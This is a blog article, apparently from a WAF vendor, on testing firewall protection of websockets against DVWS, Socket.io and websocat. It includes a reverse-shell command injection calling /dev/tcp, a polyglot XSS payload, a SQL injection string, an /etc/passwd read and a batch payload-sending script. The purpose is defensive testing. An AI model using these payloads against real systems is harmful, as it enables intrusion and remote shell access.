working solution or illusion?

There is an opinion that due to the nature of websockets, WAF cannot properly analyze and protect them. Let's try to figure out how true this statement is…

First, a few words about what a websocket is and where it is used.

Briefly about websockets

Protocol Features

  • Works over a TCP connection.

  • Two-way data exchange over a persistent connection in real time with minimal overhead.

  • To establish a connection, the client generates a special HTTP request, to which the server responds in a certain way, i.e. switching from HTTP to Websocket occurs.

  • Standardized by the IETF as RFC 6455 in 2011, current data here.

  • Can be used for any client or server application.

  • Supported by all modern browsers.

  • There are libraries for popular languages: Objective-C, .NET, Ruby, Java, node.js, ActionScript.

  • There is an extension for the protocol RFC 7692 for data compression.

The procedure for switching from HTTP to sockets is described quite well in Wikipedia.

Example implementations:

There are also interesting implementations like websocketed 😉

Even more information here https://github.com/facundofarias/awesome-websockets.

Applications:

  • Real-time applications: dashboards, dashboards, trading terminals

  • Games

  • Chat apps

Common websockets vulnerabilities and attacks

For simplicity, I will roughly divide the vulnerabilities into several groups:

  • Session Security Attacks (Broken Access Control)

  • Cross-Site WebSocket Hijacking (CSWSH). Analogue CSRF

  • Attacks on business logic

  • Race Conditions

  • DoS & DDoS

  • Resource Exhaustion: attacks aimed at exhausting server or client resources, such as memory or CPU time, by creating a large number of WebSocket connections

  • Exhaustion of the number of tcp connections

  • Attacks related to insufficient filtering of user input

  • All kinds of injections

  • SSRF

  • Attacks on websocket implementation

  • Errors in servers and libraries. For example

  • Network attacks

  • Man-in-the-Middle (MITM) attacks: an attacker intercepts and modifies messages sent between a client and server

  • Sniffing: Analyze WebSocket traffic to obtain sensitive data

As you can see, the attacker has a lot of options, which makes the task of protection difficult for WAF developers.

To the variety of attacks we must also add:

  • Any options for encoding data transmitted inside a socket: json, plaintext, serialization, custom formats, binary data.

  • The complexity of implementing behavioral analysis, due to the fact that data is transferred within one session (connection).

And yet many WAFs claim to support websockets…

How to test a WAF for websocket protection?

We will test injection detection, because… This is the simplest and most visual scenario, and it can also be considered basic functionality.

Based on the test results, it will be possible to judge the WAF’s ability to parse and parse web sockets, as well as the quality of signatures.

The general logic is to set up a websocket backend, configure traffic flow through the WAF, send various payloads and monitor the reaction.

Everything is very similar to regular WAF testing, about which we already wrote earlier.

The wasp will not miss: we understand testing and comparison methods ̶ а̶н̶т̶и̶м̶о̶с̶к̶и̶т̶н̶ы̶х̶ ̶с̶е̶т̶о̶к̶ WAF

How many parrots does your WAF produce? Review of testing utilities

The only difference is in transport.

I’ll show you testing using our product as an example, since I always have it in stock)

And for variety, let’s try several websocket implementations.

  1. OWASP Damn Vulnerable Web Sockets (DVWS)

https://github.com/interference-security/DVWS

Quite an old project, written in PHP, uses the Ratchet library for websockets. The application contains many vulnerabilities: SQLi, Command Injection, XSS, LFI. I suggest looking at the project page for more details. If you want, you can find writeup like example.

The authors did not add a Dockerfile to the project, which is somewhat inconvenient, but it doesn’t matter, it and docker-compose can be taken from Pull requestwhich is what I did by launching the application.

The front will hang on port 8888, and the websocket on 8081.

An example of an NGINX config for proxying and filtering traffic through a WMX node:

server {
    listen 80;
    server_name dvws.local;
    wallarm_mode block;
    wallarm_parse_websocket on;

    location / {
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
      proxy_pass http://127.0.0.1:8081;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
 }

First you need to perform the initial setup of the application by going to http://dvws.local:8888/setup.php

Now let's try to exploit the bugs and look at the communication between the client and the server.

On the command-execution page, first insert the IP address into the address field:

In developer mode, you can see that the data is going through the websocket.

And then let's try to add reverse shell to it:

1.1.1.1; 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

Example of an event in LC:

As you can see, in this case the data is transmitted in plain text, and there is no particular problem for WAF to parse it.

The situation is similar with the exploitation of other DVWS vulnerabilities, let's move on.

  1. Socket.io

Let's take a look at the Node.js implementation, alas, this time without specially left vulnerabilities 😉 Let's take an example of a chat from https://github.com/socketio/socket.io/tree/main/examples/chat

Running the test application:

git clone https://github.com/socketio/socket.io
cd socket.io/examples/chat/
npm i
npm start

The service will start on port 3000.

An example of an NGINX config, I did not change the server_name, I left dvws.local.

server {
    listen 80;
    server_name dvws.local;
    wallarm_mode block;
    wallarm_parse_websocket on;

location / {
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
      proxy_set_header Host $host;
      proxy_pass http://127.0.0.1:3000;
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
    }
 }

Let's try to send several requests and observe the communication.

Let's try sending some XSS.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Attacks are detected, the TCP connection is broken, and there are corresponding events in the management console.

Websocat

And finally, let's try to conduct more interesting testing. We will use websocat both to simulate a server and to send various payloads. The transmitted data will be compressed using gzip, wrapped in json and encoded in base64.

First you need to take the binary from project pages.

Starting the server:

./websocat -s 127.0.0.1:3000

See NGINX config above.

Some launch examples:

# простой интерактивный режим
./websocat ws://dvws.local -E

# простой интерактивный режим с детальным выводом
./websocat ws://dvws.local -E -vv

# Оборачивать payload в JSON, method и params. {"jsonrpc":"2.0","id":1, "method":"f", "params":[]}
./websocat ws://dvws.local/ --jsonrpc -E

# сжимать передаваемы данные gzip
./websocat ws://dvws.local/ --binary --compress-gzip -E 

#
echo "/etc/passwd" | ./websocat - log:timestamp:"ws://dvws.local" -E

But this is all for single requests… It would be more fun to take the following as a payload source:

  • https://github.com/swisskyrepo/PayloadsAllTheThings

  • https://wmx-public.gitlab.yandexcloud.net/wmx-public/gotestwaf/-/tree/master/testcases

  • https://github.com/nemesida-waf/waf-bypass/tree/master/utils/payload

  • Something else of your choice 😉

Next, generate files containing many attacks, as well as individual files with false-positive, and run them in a batch. This can be done with improvised means.

payloads_send.sh

#!/bin/bash

TARGET="ws://ws.0x56.ru/"
FILENAME=$1
ENCODING=$2

if [[ $# -eq 0 ]] ; then
    echo 'Usage example: payloads_send.sh _payloads_file_ _encoding_method_'
    echo 'Encoding methods: plain, base64, gzip, json'
    exit 1
fi

while IFS= read -r line
do
  echo "$line"
  case "$ENCODING" in
    plain) echo "$line" | ./websocat $TARGET --binary -E ;;
    base64) echo "$line" | base64 | ./websocat $TARGET --binary -E ;;
    gzip) echo "$line" | gzip | ./websocat $TARGET --binary -E ;;
    json) echo "SOME_METHOD $line" | ./websocat $TARGET --text --jsonrpc -E ;;
    *) echo "$line" | ./websocat $TARGET --binary -E ;;
  esac
  shift
done < "$FILENAME"

On the server side, you can enable recording of past payloads to a file, so that later you can make a diff and understand what passes through the WAF and what does not.

./websocat ws-l:127.0.0.1:3000 writefile:passed.txt

Or just look at the output of the websocat server in STDOUT.

For clarity, I launched websocat with the –vv flag and tried, among other things, to send:

123) AND 12=12 AND JSON_DEPTH('{}') != 2521

This attack did not reach the backend.

Security Recommendations

  • Use WSS (WebSockets Secure) instead of unencrypted websockets.

  • Use CSRF tokens to protect against CSWSH.

  • Check the ORIGIN header for protection against CSWSH.

  • Validate and escape user input.

  • Use Rate Limiting to reduce the risk of denial of service (DoS) attacks.

  • Set restrictions on the maximum size of transmitted data within the websocket, this will reduce DoS risks.

  • Use WAF with websockets support 😉

  • If your WAF claims to support websockets, then it would be a good idea to test it.

Toolkit and useful links

https://github.com/PalindromeLabs/STEWS

https://github.com/PalindromeLabs/awesome-websocket-security

https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets

https://book.hacktricks.xyz/pentesting-web/websocket-attacks

https://portswigger.net/web-security/websockets

https://github.com/PalindromeLabs/WebSockets-Playground

Conclusion

At the beginning of the article, the question was raised about the ability of WAF to process and protect websockets. As you can see, WAF copes with this, but with some caveats:

  • WAF must have a separate module or parser tailored for a websocket.

  • If your application uses the RFC 7692 extension, then the WAF must support it.

  • There must be a mechanism for working with false-positive.

  • Parsing data inside a websocket should work.

  • It will be very difficult or even impossible for WAF to parse messages inside a websocket if binary / custom data transfer protocols are used.

  • Behavioral analysis is difficult or impossible to implement.

If websocket protection is important to you, come to us for a free pilot.

Good luck with your defense! I will be glad to constructive criticism and additions.

Subscribe to channel. Here we share information on the product, our findings and developments until they are compiled into large static material.

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *